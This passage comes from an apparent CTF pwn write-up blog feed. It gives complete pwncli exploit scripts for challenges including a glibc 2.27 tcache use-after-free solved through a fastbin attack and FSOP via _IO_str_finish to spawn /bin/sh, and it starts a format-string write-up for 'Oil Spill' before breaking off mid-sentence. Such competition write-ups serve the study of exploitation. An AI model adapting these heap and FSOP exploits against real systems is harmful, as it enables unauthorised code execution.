</span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">io: tube = gift[&#39;io&#39;] </span></span><span class="line"><span class="cl">elf: ELF = gift[&#39;elf&#39;] </span></span><span class="line"><span class="cl">libc: ELF = gift[&#39;libc&#39;] </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">def access(length, code): </span></span><span class="line"><span class="cl"> sla(&#34;&gt; &#34;, &#34;1&#34;) </span></span><span class="line"><span class="cl"> sla(&#34;ACCESS code length: &#34;, str(length)) </span></span><span class="line"><span class="cl"> sla(&#34;ACCESS code: &#34;, code) # 0 or \n will stop </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">def quantum(data, data2): </span></span><span class="line"><span class="cl"> sla(&#34;&gt; &#34;, &#34;2&#34;) </span></span><span class="line"><span class="cl"> sla(&#34;Quantum destabilizer mount point: &#34;, data) </span></span><span class="line"><span class="cl"> sla(&#34;uantum destablizer is ready to pass a small armed unit through the enemy&#39;s shield: &#34;, data2) </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">def abort(): </span></span><span class="line"><span class="cl"> sla(&#34;&gt; &#34;, &#34;5&#34;) </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">quantum(&#34;panel&#34;, &#34;/bin/sh&#34;) </span></span><span class="line"><span class="cl">access((1 &lt;&lt; 64) - 1, flat({ </span></span><span class="line"><span class="cl"> 0x20: &#34;PATH=/tmp:/bin:/usr/bin&#34;, </span></span><span class="line"><span class="cl">})) </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">ia()</span></span></code></pre></td></tr></table> </div> </div><p><img loading="lazy" src='https://image.roderickchan.cn/img/image-20220520205924621.png' alt="image-20220520205924621"></p> <p>get shell:</p> <p><img loading="lazy" src='https://image.roderickchan.cn/img/image-20220520210007472.png' alt="image-20220520210007472"></p> <h2 class="heading-element" id="10-once_and_for_all"><span>10-Once_and_for_all</span> <a href="#10-once_and_for_all" class="heading-mark"> <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg> </a> </h2><p>It&rsquo;s a heap challenge about tcache.</p> <h3 class="heading-element" id="checksec-3"><span>Checksec</span> <a href="#checksec-3" class="heading-mark"> <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg> </a> </h3><p><img loading="lazy" src='https://image.roderickchan.cn/img/image-20220520210259084.png' alt="image-20220520210259084"></p> <h3 class="heading-element" id="vulnerability-9"><span>Vulnerability</span> <a href="#vulnerability-9" class="heading-mark"> <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg> </a> </h3><p><code>UAF</code> in <code>fix</code>:</p> <p><img loading="lazy" src='https://image.roderickchan.cn/img/image-20220520210451158.png' alt="image-20220520210451158"></p> <p>My solution:</p> <ol> <li> <p>malloc_consolidation to leak glibc address</p> </li> <li> <p>modify tcache-&gt;count using fastbin attack</p> </li> <li> <p>tcache unlinking to modify stderr-&gt;chain and let it point to a heap chunk</p> </li> <li> <p>prepare a fake <code>_IO_FILE</code> in heap and use FSOP(make use of <code>_IO_str_finish</code>) to getshell</p> </li> </ol> <h3 class="heading-element" id="exp-9"><span>EXP</span> <a href="#exp-9" class="heading-mark"> <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg> </a> </h3><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span><span class="lnt">14 </span><span class="lnt">15 </span><span class="lnt">16 </span><span class="lnt">17 </span><span class="lnt">18 </span><span class="lnt">19 </span><span class="lnt">20 </span><span class="lnt">21 </span><span class="lnt">22 </span><span class="lnt">23 </span><span class="lnt">24 </span><span class="lnt">25 </span><span class="lnt">26 </span><span class="lnt">27 </span><span class="lnt">28 </span><span class="lnt">29 </span><span class="lnt">30 </span><span class="lnt">31 </span><span class="lnt">32 </span><span class="lnt">33 </span><span class="lnt">34 </span><span class="lnt">35 </span><span class="lnt">36 </span><span class="lnt">37 </span><span class="lnt">38 </span><span class="lnt">39 </span><span class="lnt">40 </span><span class="lnt">41 </span><span class="lnt">42 </span><span class="lnt">43 </span><span class="lnt">44 </span><span class="lnt">45 </span><span class="lnt">46 </span><span class="lnt">47 </span><span class="lnt">48 </span><span class="lnt">49 </span><span class="lnt">50 </span><span class="lnt">51 </span><span class="lnt">52 </span><span class="lnt">53 </span><span class="lnt">54 </span><span class="lnt">55 </span><span class="lnt">56 </span><span class="lnt">57 </span><span class="lnt">58 </span><span class="lnt">59 </span><span class="lnt">60 </span><span class="lnt">61 </span><span class="lnt">62 </span><span class="lnt">63 </span><span class="lnt">64 </span><span class="lnt">65 </span><span class="lnt">66 </span><span class="lnt">67 </span><span class="lnt">68 </span><span class="lnt">69 </span><span class="lnt">70 </span><span class="lnt">71 </span><span class="lnt">72 </span><span class="lnt">73 </span><span class="lnt">74 </span><span class="lnt">75 </span><span class="lnt">76 </span><span class="lnt">77 </span><span class="lnt">78 </span><span class="lnt">79 </span><span class="lnt">80 </span><span class="lnt">81 </span><span class="lnt">82 </span><span class="lnt">83 </span><span class="lnt">84 </span><span class="lnt">85 </span><span class="lnt">86 </span><span class="lnt">87 </span><span class="lnt">88 </span><span class="lnt">89 </span><span class="lnt">90 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="ch">#!/usr/bin/python3</span> </span></span><span class="line"><span class="cl"><span class="c1"># -*- encoding: utf-8 -*-</span> </span></span><span class="line"><span class="cl"><span class="c1"># author: roderick</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">pwncli</span> <span class="kn">import</span> <span class="o">*</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">cli_script</span><span class="p">()</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">io</span><span class="p">:</span> <span class="n">tube</span> <span class="o">=</span> <span class="n">gift</span><span class="p">[</span><span class="s1">&#39;io&#39;</span><span class="p">]</span> </span></span><span class="line"><span class="cl"><span class="n">elf</span><span class="p">:</span> <span class="n">ELF</span> <span class="o">=</span> <span class="n">gift</span><span class="p">[</span><span class="s1">&#39;elf&#39;</span><span class="p">]</span> </span></span><span class="line"><span class="cl"><span class="n">libc</span><span class="p">:</span> <span class="n">ELF</span> <span class="o">=</span> <span class="n">gift</span><span class="p">[</span><span class="s1">&#39;libc&#39;</span><span class="p">]</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">build_small</span><span class="p">(</span><span class="n">idx</span><span class="p">,</span> <span class="n">size</span><span class="p">,</span> <span class="n">data</span><span class="o">=</span><span class="s2">&#34;deadbeef&#34;</span><span class="p">):</span> </span></span><span class="line"><span class="cl"> <span class="n">sla</span><span class="p">(</span><span class="s2">&#34;&gt;&gt; &#34;</span><span class="p">,</span> <span class="s2">&#34;1&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="n">sla</span><span class="p">(</span><span class="s2">&#34;Choose an index: &#34;</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">idx</span><span class="p">))</span> </span></span><span class="line"><span class="cl"> <span class="n">sla</span><span class="p">(</span><span class="s2">&#34;How much space do you need for it: &#34;</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">size</span><span class="p">))</span> </span></span><span class="line"><span class="cl"> <span class="k">if</span> <span class="n">size</span> <span class="o">&gt;</span> <span class="mh">0x1f</span> <span class="ow">and</span> <span class="n">size</span> <span class="o">&lt;=</span> <span class="mh">0x38</span><span class="p">:</span> </span></span><span class="line"><span class="cl"> <span class="n">sa</span><span class="p">(</span><span class="s2">&#34;Input your weapon&#39;s details: &#34;</span><span class="p">,</span><span class="n">data</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">fix_small</span><span class="p">(</span><span class="n">idx</span><span class="p">,</span> <span class="n">size</span><span class="p">,</span> <span class="n">data</span><span class="o">=</span><span class="kc">None</span><span class="p">,</span> <span class="n">v</span><span class="o">=</span><span class="mi">2</span><span class="p">):</span> </span></span><span class="line"><span class="cl"> <span class="n">sla</span><span class="p">(</span><span class="s2">&#34;&gt;&gt; &#34;</span><span class="p">,</span> <span class="s2">&#34;2&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="n">sla</span><span class="p">(</span><span class="s2">&#34;Choose an index: &#34;</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">idx</span><span class="p">))</span> </span></span><span class="line"><span class="cl"> <span class="n">sla</span><span class="p">(</span><span class="s2">&#34;How much space do you need for this repair: &#34;</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">size</span><span class="p">))</span> </span></span><span class="line"><span class="cl"> <span class="k">if</span> <span class="n">size</span> <span class="o">&gt;</span> <span class="mh">0x1f</span> <span class="ow">and</span> <span class="n">size</span> <span class="o">&lt;=</span> <span class="mh">0x38</span><span class="p">:</span> </span></span><span class="line"><span class="cl"> <span class="n">sa</span><span class="p">(</span><span class="s2">&#34;Input your weapon&#39;s details: &#34;</span><span class="p">,</span> <span class="n">data</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="n">sla</span><span class="p">(</span><span class="s2">&#34;What would you like to do now?</span><span class="se">\n</span><span class="s2">1. Verify weapon</span><span class="se">\n</span><span class="s2">2. Continue</span><span class="se">\n</span><span class="s2">&gt;&gt; &#34;</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">v</span><span class="p">))</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="c1"># show</span> </span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">examine_small</span><span class="p">(</span><span class="n">idx</span><span class="p">):</span> </span></span><span class="line"><span class="cl"> <span class="n">sla</span><span class="p">(</span><span class="s2">&#34;&gt;&gt; &#34;</span><span class="p">,</span> <span class="s2">&#34;3&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="n">sla</span><span class="p">(</span><span class="s2">&#34;Choose an index: &#34;</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">idx</span><span class="p">))</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">build_big</span><span class="p">(</span><span class="n">size</span><span class="o">=</span><span class="mh">0x1000</span><span class="p">):</span> </span></span><span class="line"><span class="cl"> <span class="n">sla</span><span class="p">(</span><span class="s2">&#34;&gt;&gt; &#34;</span><span class="p">,</span> <span class="s2">&#34;4&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="n">sla</span><span class="p">(</span><span class="s2">&#34;How much space do you need for this massive weapon: &#34;</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">size</span><span class="p">))</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">giveup</span><span class="p">():</span> </span></span><span class="line"><span class="cl"> <span class="n">sla</span><span class="p">(</span><span class="s2">&#34;&gt;&gt; &#34;</span><span class="p">,</span> <span class="s2">&#34;5&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="s2">&#34;&#34;&#34; </span></span></span><span class="line"><span class="cl"><span class="s2">1. malloc_consolidate to leak glibc address </span></span></span><span class="line"><span class="cl"><span class="s2">2. modify tcache-&gt;count using fastbin attack </span></span></span><span class="line"><span class="cl"><span class="s2">3. tcache unlinking to modify stderr-&gt;chain to the heap area </span></span></span><span class="line"><span class="cl"><span class="s2">4. FSOP: use _IO_str_finish when exit to getshell </span></span></span><span class="line"><span class="cl"><span class="s2">&#34;&#34;&#34;</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">build_small</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mh">0x30</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="n">build_small</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mh">0x30</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="n">fix_small</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mh">0x100</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="n">build_big</span><span class="p">()</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">examine_small</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="c1"># leak libc address</span> </span></span><span class="line"><span class="cl"><span class="n">libc_base</span> <span class="o">=</span> <span class="n">recv_current_libc_addr</span><span class="p">()</span> <span class="o">-</span> <span class="mh">0x3ebcd0</span> </span></span><span class="line"><span class="cl"><span class="n">set_current_libc_base_and_log</span><span class="p">(</span><span class="n">libc_base</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">build_small</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="mh">0x30</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">build_small</span><span class="p">(</span><span class="mi">6</span><span class="p">,</span> <span class="mh">0x28</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="n">build_small</span><span class="p">(</span><span class="mi">7</span><span class="p">,</span> <span class="mh">0x28</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="n">build_small</span><span class="p">(</span><span class="mi">9</span><span class="p">,</span> <span class="mh">0x38</span><span class="p">,</span> <span class="s2">&#34;</span><span class="se">\x00</span><span class="s2">&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="n">build_small</span><span class="p">(</span><span class="mi">10</span><span class="p">,</span> <span class="mh">0x28</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="n">build_small</span><span class="p">(</span><span class="mi">11</span><span class="p">,</span> <span class="mh">0x38</span><span class="p">,</span> <span class="n">p64_ex</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span><span class="o">+</span><span class="n">p64_ex</span><span class="p">(</span><span class="n">libc_base</span> <span class="o">+</span> <span class="mh">0x3e8360</span> <span class="o">-</span> <span class="mi">8</span><span class="p">)</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="n">libc</span><span class="o">.</span><span class="n">sym</span><span class="o">.</span><span class="n">system</span><span class="p">))</span> <span class="c1"># _IO_str_jumps</span> </span></span><span class="line"><span class="cl"><span class="n">build_small</span><span class="p">(</span><span class="mi">12</span><span class="p">,</span> <span class="mh">0x38</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="n">build_small</span><span class="p">(</span><span class="mi">13</span><span class="p">,</span> <span class="mh">0x38</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">fix_small</span><span class="p">(</span><span class="mi">6</span><span class="p">,</span> <span class="mh">0x100</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="n">fix_small</span><span class="p">(</span><span class="mi">7</span><span class="p">,</span> <span class="mh">0x100</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="n">fix_small</span><span class="p">(</span><span class="mi">6</span><span class="p">,</span> <span class="mh">0x28</span><span class="p">,</span> <span class="n">p64</span><span class="p">(</span><span class="n">libc_base</span> <span class="o">+</span> <span class="mh">0x3ec6e8</span> <span class="o">-</span> <span class="mh">0x10</span><span class="p">))</span> <span class="c1"># stderr-&gt;chain</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">fix_small</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mh">0x100</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="n">fix_small</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mh">0x100</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="n">fix_small</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mh">0x30</span><span class="p">,</span> <span class="n">p64_ex</span><span class="p">(</span><span class="n">libc_base</span> <span class="o">+</span> <span class="mh">0x3eb2d0</span><span class="o">-</span><span class="mh">0x8</span><span class="p">))</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">build_small</span><span class="p">(</span><span class="mi">3</span><span class="p">,</span> <span class="mh">0x30</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="n">build_small</span><span class="p">(</span><span class="mi">4</span><span class="p">,</span> <span class="mh">0x30</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="n">build_small</span><span class="p">(</span><span class="mi">5</span><span class="p">,</span> <span class="mh">0x30</span><span class="p">,</span> <span class="n">flat</span><span class="p">([</span><span class="mh">0x408</span><span class="p">,</span> <span class="mh">0x9</span><span class="p">]))</span> </span></span><span class="line"><span class="cl"><span class="n">build_small</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span> <span class="mh">0x28</span><span class="p">,</span> <span class="sa">b</span><span class="s2">&#34;deadbeef&#34;</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="n">libc</span><span class="o">.</span><span class="n">search</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;/bin/sh&#34;</span><span class="p">)</span><span class="o">.</span><span class="fm">__next__</span><span class="p">()))</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">giveup</span><span class="p">()</span> </span></span><span class="line"><span class="cl"><span class="n">sleep</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="n">sl</span><span class="p">(</span><span class="s2">&#34;cat flag.txt&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">ia</span><span class="p">()</span></span></span></code></pre></td></tr></table> </div> </div><p><img loading="lazy" src='https://image.roderickchan.cn/img/image-20220520211336926.png' alt="image-20220520211336926"></p> <p><img loading="lazy" src='https://image.roderickchan.cn/img/image-20220520211403147.png' alt="image-20220520211403147"></p> <h2 class="heading-element" id="reference"><span>Reference</span> <a href="#reference" class="heading-mark"> <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg> </a> </h2><p>1、<a href="https://roderickchan.github.io"target="_blank" rel="external nofollow noopener noreferrer">My Blog<i class="fa-solid fa-external-link-alt fa-fw fa-xs ms-1 text-secondary" aria-hidden="true"></i></a></p> <p>2、<a href="https://ctf-wiki.org/"target="_blank" rel="external nofollow noopener noreferrer">Ctf Wiki<i class="fa-solid fa-external-link-alt fa-fw fa-xs ms-1 text-secondary" aria-hidden="true"></i></a></p> <p>3、<a href="https://github.com/RoderickChan/pwncli"target="_blank" rel="external nofollow noopener noreferrer">pwncli<i class="fa-solid fa-external-link-alt fa-fw fa-xs ms-1 text-secondary" aria-hidden="true"></i></a></p> 2022-Sdctf-All-Pwn-Wp https://roderickchan.github.io/2022-sdctf-all-pwn-wp/ Sun, 08 May 2022 15:15:44 +0800[email protected] (roderick) https://roderickchan.github.io/2022-sdctf-all-pwn-wp/ pwn-wp <blockquote> <p>I was shocked when I found I stayed in a only-me team. Where are my teammates?</p> <p>Anyway, I have completed all the tasks of pwn in a afternoon. These tasks are not very hard, and it takes me about <code>4</code> hours. In fact, I have spent almost <code>2</code> hours on solving <code>shamav</code>, this task is a little bit challengeable and interesting.</p></blockquote> <h2 class="heading-element" id="oil-spill"><span>Oil Spill</span> <a href="#oil-spill" class="heading-mark"> <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg> </a> </h2><h3 class="heading-element" id="checksec"><span>Checksec</span> <a href="#checksec" class="heading-mark"> <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg> </a> </h3><p><img loading="lazy" src='https://image.roderickchan.cn/img/image-20220508210905962.png' alt="image-20220508210905962"></p> <p>No relro and no pie, the remote glibc version is <code>libc6_2.27-3ubuntu1.5_amd64</code>.</p> <h3 class="heading-element" id="vulnerability"><span>Vulnerability</span> <a href="#vulnerability" class="heading-mark"> <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg> </a> </h3><p>Glibc address is given, then, we can use printf attack:</p> <p><img loading="lazy" src='https://image.roderickchan.cn/img/image-20220508210726488.png' alt="image-20220508210726488"></p> <h3 class="heading-element" id="solution"><span>Solution</span> <a href="#solution" class="heading-mark"> <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg> </a> </h3><p>It&rsquo;s an easy task about <code>fmt-attack</code>. However, I had a problem when I used my <code>exp.py</code> to attack remote host. The problem is that I cannot get any output from the remote host. After I input something, I get the address of <code>puts/printf/temp</code> and then, the program in remote host is stopped. That means I cannot get glibc address before I input&hellip;&hellip;.Maybe it&rsquo;s caused by my proxy VPN app.</p> <p>In order to solve the problem, I decide to find a way to execute the <code>main</code> function again. The <code>.fini_array</code> section is chosen and I plan to replace <code>.fini_array[0]</code> with <code>main</code> address. Unfortunately, the address of <code>.fini_array</code> is <code>0x600A40</code>, which contains <code>\x0a</code>. WTF!!!!</p> <p>Then, I try to use <code>partial 